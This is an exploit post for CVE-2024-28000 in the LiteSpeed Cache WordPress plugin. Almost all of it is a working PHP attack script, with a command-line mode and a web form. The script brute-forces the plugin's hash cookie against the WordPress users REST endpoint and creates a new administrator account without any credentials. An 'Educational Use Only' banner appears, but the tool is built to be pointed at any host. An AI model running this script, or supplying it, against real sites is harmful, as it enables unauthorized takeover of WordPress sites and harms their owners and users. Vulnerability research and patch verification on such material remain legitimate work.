📄 Litespeed Cache 6.4.0.1 Privilege Escalation

=============================================================================================================================================
    | # Title     : Litespeed Cache 6.4.0.1 Insufficient Hash Validation                                                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.litespeedtech.com/products/cache-plugins                                                                        |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/200819/ & 		CVE-2024-28000
    
    [+] Summary : 
                 Critical unauthenticated privilege escalation vulnerability in LiteSpeed Cache WordPress plugin (versions 6.4.0.1) 
    			 allowing attackers to brute-force authentication hashes and create administrative users without any initial credentials.
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * LiteSpeed Cache 6.4.0.1 - Privilege Escalation
     * by indoushka
     */
    
    class LiteSpeedPrivEsc {
        private $target;
        private $port;
        private $ssl;
        private $base_path;
        private $timeout;
        private $admin_user_id;
        private $new_username;
        private $new_user_password;
        
        public function __construct($target, $port = 80, $ssl = false, $base_path = '/', $admin_user_id = '1', $new_username = 'newadmin', $new_user_password = 'AdminPass123!') {
            $this->target = $target;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->base_path = rtrim($base_path, '/');
            $this->timeout = 30;
            $this->admin_user_id = $admin_user_id;
            $this->new_username = $new_username;
            $this->new_user_password = $new_user_password;
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking LiteSpeed Cache vulnerability...\n";
            
            // Check if WordPress REST API is accessible
            $res = $this->send_request('/wp-json/wp/v2/users');
            if (!$res || $res['code'] != 200) {
                echo "[-] WordPress REST API not accessible\n";
                return "unknown";
            }
            
            echo "[+] WordPress REST API detected\n";
            
            // Try to trigger hash generation
            if ($this->trigger_hash_generation()) {
                echo "[+] Hash generation endpoint accessible\n";
                
                // Test with a random hash
                $test_hash = $this->generate_random_string(6);
                $test_result = $this->test_hash($test_hash);
                
                if ($test_result === 'unauthorized') {
                    echo "[+] Hash validation is active\n";
                    echo "[+] Target appears to be vulnerable\n";
                    return "vulnerable";
                } else {
                    echo "[-] Hash validation not working as expected\n";
                    return "unknown";
                }
            }
            
            echo "[-] Cannot trigger hash generation\n";
            return "safe";
        }
        
        /**
         * Trigger hash generation via AJAX
         */
        private function trigger_hash_generation() {
            $data = [
                'action' => 'async_litespeed',
                'litespeed_type' => 'crawler'
            ];
            
            $res = $this->send_request('/wp-admin/admin-ajax.php', 'POST', [], http_build_query($data));
            
            return $res && $res['code'] == 200;
        }
        
        /**
         * Test a specific hash value
         */
        private function test_hash($hash_value) {
            $cookies = [
                'litespeed_hash' => $hash_value,
                'litespeed_role' => $this->admin_user_id
            ];
            
            $res = $this->send_request('/wp-json/wp/v2/users', 'POST', [], null, [], $cookies);
            
            if (!$res) {
                return 'error';
            }
            
            if ($res['code'] == 201) {
                return 'success';
            } elseif ($res['code'] == 401) {
                return 'unauthorized';
            } else {
                return 'unknown';
            }
        }
        
        /**
         * Generate random string
         */
        private function generate_random_string($length = 6) {
            $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
            $result = '';
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[rand(0, strlen($chars) - 1)];
            }
            return $result;
        }
        
        /**
         * Create admin user with valid hash
         */
        private function create_admin_user($hash_value) {
            $cookies = [
                'litespeed_hash' => $hash_value,
                'litespeed_role' => $this->admin_user_id
            ];
            
            $user_data = [
                'username' => $this->new_username,
                'password' => $this->new_user_password,
                'email' => $this->new_username . '@example.com',
                'roles' => ['administrator']
            ];
            
            $json_data = json_encode($user_data);
            
            $headers = [
                'Content-Type: application/json',
                'Content-Length: ' . strlen($json_data)
            ];
            
            $res = $this->send_request('/wp-json/wp/v2/users', 'POST', [], $json_data, $headers, $cookies);
            
            if ($res && $res['code'] == 201) {
                echo "[+] ✓ Admin user created successfully!\n";
                echo "[+] Username: {$this->new_username}\n";
                echo "[+] Password: {$this->new_user_password}\n";
                return true;
            } else {
                echo "[-] Failed to create admin user\n";
                if ($res) {
                    echo "[-] HTTP Code: {$res['code']}\n";
                    echo "[-] Response: {$res['body']}\n";
                }
                return false;
            }
        }
        
        /**
         * Brute force hash values
         */
        public function brute_force_hashes($max_attempts = 10000, $workers = 5) {
            echo "[*] Starting hash brute force...\n";
            echo "[*] Attempts: $max_attempts, Workers: $workers\n";
            
            // Trigger hash generation first
            $this->trigger_hash_generation();
            
            $found = false;
            $attempts = 0;
            
            for ($i = 0; $i < $max_attempts && !$found; $i++) {
                $hash = $this->generate_random_string(6);
                
                if ($i % 100 == 0) {
                    echo "[*] Attempt $i: Testing hash: $hash\n";
                }
                
                $result = $this->test_hash($hash);
                
                if ($result === 'success') {
                    echo "[+] ✓ Valid hash found: $hash\n";
                    echo "[*] Creating admin user...\n";
                    if ($this->create_admin_user($hash)) {
                        $found = true;
                        return true;
                    }
                }
                
                $attempts++;
            }
            
            echo "[-] No valid hash found after $attempts attempts\n";
            return false;
        }
        
        /**
         * Execute full exploit
         */
        public function exploit($max_attempts = 10000) {
            echo "[*] Starting LiteSpeed Cache privilege escalation...\n";
            
            // Step 1: Check vulnerability
            $status = $this->check();
            if ($status !== "vulnerable") {
                echo "[-] Target does not appear to be vulnerable\n";
                return false;
            }
            
            echo "[*] Target is vulnerable, proceeding with exploitation...\n";
            
            // Step 2: Brute force hashes
            if ($this->brute_force_hashes($max_attempts)) {
                echo "[+] ✓ Privilege escalation completed successfully\n";
                return true;
            } else {
                echo "[-] Privilege escalation failed\n";
                return false;
            }
        }
        
        /**
         * Send HTTP request
         */
        private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $cookies = []) {
            $url = $this->build_url($path);
            
            if ($method == 'GET' && !empty($params)) {
                $url .= '?' . http_build_query($params);
            }
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                CURLOPT_HEADER => false,
                CURLOPT_CUSTOMREQUEST => $method,
                CURLOPT_FOLLOWLOCATION => false
            ]);
            
            // Add POST data if provided
            if ($method == 'POST' && $data) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            }
            
            // Build headers
            $headers = array_merge([
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ], $custom_headers);
            
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            // Add cookies if provided
            if (!empty($cookies)) {
                $cookie_string = '';
                foreach ($cookies as $name => $value) {
                    $cookie_string .= "{$name}={$value}; ";
                }
                curl_setopt($ch, CURLOPT_COOKIE, $cookie_string);
            }
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($response !== false) {
                return [
                    'code' => $http_code,
                    'body' => $response
                ];
            }
            
            return false;
        }
        
        /**
         * Build full URL
         */
        private function build_url($path) {
            $protocol = $this->ssl ? 'https' : 'http';
            $full_path = $this->base_path . $path;
            return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        ╔══════════════════════════════════════════════════════════════╗
        ║            LiteSpeed Cache Privilege Escalation             ║
        ║                      CVE-2024-28000                         ║
        ║                     PHP Implementation                      ║
        ╚══════════════════════════════════════════════════════════════╝
        
        \n";
        
        $options = getopt("t:p:s:u:cU:P:a:", [
            "target:",
            "port:",
            "ssl",
            "uri:",
            "check",
            "username:",
            "password:",
            "attempts:"
        ]);
        
        $target = $options['t'] ?? $options['target'] ?? null;
        $port = $options['p'] ?? $options['port'] ?? 80;
        $ssl = isset($options['s']) || isset($options['ssl']);
        $base_uri = $options['u'] ?? $options['uri'] ?? '/';
        $check_only = isset($options['c']) || isset($options['check']);
        $username = $options['U'] ?? $options['username'] ?? 'newadmin';
        $password = $options['P'] ?? $options['password'] ?? 'AdminPass123!';
        $attempts = $options['a'] ?? $options['attempts'] ?? 10000;
        
        if (!$target) {
            echo "Usage: php litespeed_exploit.php [options]\n";
            echo "Options:\n";
            echo "  -t, --target    Target host (required)\n";
            echo "  -p, --port      Target port (default: 80)\n";
            echo "  -s, --ssl       Use SSL (default: false)\n";
            echo "  -u, --uri       Base URI path (default: /)\n";
            echo "  -c, --check     Check only (don't exploit)\n";
            echo "  -U, --username  New admin username (default: newadmin)\n";
            echo "  -P, --password  New admin password (default: AdminPass123!)\n";
            echo "  -a, --attempts  Brute force attempts (default: 10000)\n";
            echo "\nExamples:\n";
            echo "  php litespeed_exploit.php -t 192.168.1.100 -c\n";
            echo "  php litespeed_exploit.php -t wordpress.example.com -U myadmin -P MySecurePass123 -a 50000\n";
            exit(1);
        }
        
        $exploit = new LiteSpeedPrivEsc($target, $port, $ssl, $base_uri, '1', $username, $password);
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
        } else {
            if ($exploit->exploit($attempts)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        }
        
    } else {
        // Web Interface
        $action = $_POST['action'] ?? '';
        
        if ($action === 'check' || $action === 'exploit') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 80;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/';
            $username = $_POST['username'] ?? 'newadmin';
            $password = $_POST['password'] ?? 'AdminPass123!';
            $attempts = $_POST['attempts'] ?? 10000;
            
            if (empty($target)) {
                echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
            } else {
                $exploit = new LiteSpeedPrivEsc($target, $port, $ssl, $base_uri, '1', $username, $password);
                
                ob_start();
                if ($action === 'check') {
                    $exploit->check();
                } else {
                    $exploit->exploit($attempts);
                }
                $output = ob_get_clean();
                
                echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
            }
            
            echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
            
        } else {
            // Display the form
            echo '<!DOCTYPE html>
            <html>
            <head>
                <title>LiteSpeed Cache Privilege Escalation - CVE-2024-28000</title>
                <meta charset="UTF-8">
                <style>
                    body { 
                        font-family: Arial, sans-serif; 
                        margin: 0; 
                        padding: 20px; 
                        background: #f5f5f5;
                    }
                    .container { 
                        max-width: 800px; 
                        margin: 0 auto; 
                        background: white;
                        padding: 30px;
                        border-radius: 8px;
                        box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                    }
                    h1 { 
                        color: #333; 
                        border-bottom: 2px solid #007cba;
                        padding-bottom: 10px;
                    }
                    h3 {
                        color: #666;
                    }
                    .form-group { 
                        margin-bottom: 20px; 
                    }
                    label { 
                        display: block; 
                        margin-bottom: 8px; 
                        font-weight: bold;
                        color: #333;
                    }
                    input[type="text"], input[type="password"], select { 
                        width: 100%; 
                        padding: 10px; 
                        border: 1px solid #ddd; 
                        border-radius: 4px; 
                        box-sizing: border-box;
                        font-size: 14px;
                    }
                    .checkbox-group {
                        display: flex;
                        align-items: center;
                        gap: 10px;
                    }
                    button { 
                        background: #007cba; 
                        color: white; 
                        padding: 12px 25px; 
                        border: none; 
                        border-radius: 4px; 
                        cursor: pointer; 
                        margin-right: 10px;
                        font-size: 16px;
                        transition: background 0.3s;
                    }
                    button:hover {
                        background: #005a87;
                    }
                    .danger { 
                        background: #dc3545; 
                    }
                    .danger:hover {
                        background: #c82333;
                    }
                    .info { 
                        background: #17a2b8; 
                    }
                    .info:hover {
                        background: #138496;
                    }
                    .warning-box {
                        background: #fff3cd;
                        border: 1px solid #ffeaa7;
                        color: #856404;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                    .info-box {
                        background: #d1ecf1;
                        border: 1px solid #bee5eb;
                        color: #0c5460;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>LiteSpeed Cache Privilege Escalation</h1>
                    <h3>CVE-2024-28000 - Hash Brute Force to Admin Access</h3>
                    
                    <div class="warning-box">
                        <strong>⚠️ Educational Use Only:</strong> This tool demonstrates a privilege escalation vulnerability in LiteSpeed Cache.
                        Use only on systems you own or have explicit permission to test.
                    </div>
                    
                    <form method="post">
                        <div class="form-group">
                            <label for="target">Target Host:</label>
                            <input type="text" id="target" name="target" placeholder="192.168.1.100 or wordpress.example.com" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="port">Port:</label>
                            <input type="text" id="port" name="port" value="80">
                        </div>
                        
                        <div class="form-group">
                            <label for="uri">Base URI:</label>
                            <input type="text" id="uri" name="uri" value="/">
                        </div>
                        
                        <div class="form-group">
                            <div class="checkbox-group">
                                <input type="checkbox" id="ssl" name="ssl">
                                <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label for="username">New Admin Username:</label>
                            <input type="text" id="username" name="username" value="newadmin">
                        </div>
                        
                        <div class="form-group">
                            <label for="password">New Admin Password:</label>
                            <input type="password" id="password" name="password" value="AdminPass123!">
                        </div>
                        
                        <div class="form-group">
                            <label for="attempts">Brute Force Attempts:</label>
                            <input type="text" id="attempts" name="attempts" value="10000">
                        </div>
                        
                        <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                        <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                    </form>
                    
                    <div class="info-box">
                        <h3>About CVE-2024-28000:</h3>
                        <p><strong>Vulnerability:</strong> Insufficient hash validation leading to privilege escalation</p>
                        <p><strong>Affected Versions:</strong> LiteSpeed Cache ≤ 6.4.0.1</p>
                        <p><strong>Authentication:</strong> None required for initial access</p>
                        <p><strong>Endpoint:</strong> /wp-admin/admin-ajax.php & /wp-json/wp/v2/users</p>
                        <p><strong>Attack:</strong> Hash brute force to create admin user</p>
                        <p><strong>Impact:</strong> Privilege escalation to WordPress administrator</p>
                        <p><strong>Exploit Chain:</strong> Trigger Hash → Brute Force → Create Admin User</p>
                    </div>
                </div>
            </body>
            </html>';
        }
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================